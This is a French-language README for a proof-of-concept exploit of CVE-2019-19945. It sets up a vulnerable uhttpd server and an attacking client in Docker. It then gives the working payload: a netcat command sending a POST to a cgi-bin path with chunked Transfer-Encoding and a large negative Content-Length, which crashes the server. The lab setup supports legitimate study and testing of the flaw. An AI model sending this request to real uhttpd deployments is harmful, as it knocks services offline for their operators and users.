
Exploit de preuve de concept pour CVE-2019-19945, démontrant une attaque par déni de service contre uhttpd via une requête POST falsifiée avec un en-tête Content-Length négatif.
Ceci est le code pour le premier CVE proposé
Installer Docker
Construire et exécuter le serveur cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
Obtenir l'IP du conteneur serveur Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" Extraire l'IP et l'ajouter à la commande pour construire le client Vous pouvez vérifier le serveur en allant sur localhost:80 dans votre navigateur
Construire et exécuter le client en décommentant le CMD dans le Client/Dockerfile, l'attaque démarrera automatiquement avec le démarrage du conteneur cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
S'attacher au conteneur CLient Docker docker container ls find client/cve container && attach docker exec -it /bin/sh
Quand prêt, lancer l'attaque ./crash.sh
Le serveur sera incapable de répondre
Il n'est vraiment pas utile de fournir le code source commenté car l'exploit est très court
L'exploit consiste ensuite à utiliser Netcat et à envoyer une requête POST avec une longueur de contenu négative et grande au serveur concernant la gestion des fichiers dans le répertoire cgi-bin/
L'exécution est effectuée à l'aide d'un simple script netcat. Ici, on référence un fichier dans le dossier CGI-bin du serveur appelé Crash nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
Le plus grand problème a été d'essayer de faire fonctionner les anciennes versions de uhttpd dans un environnement Docker à jour.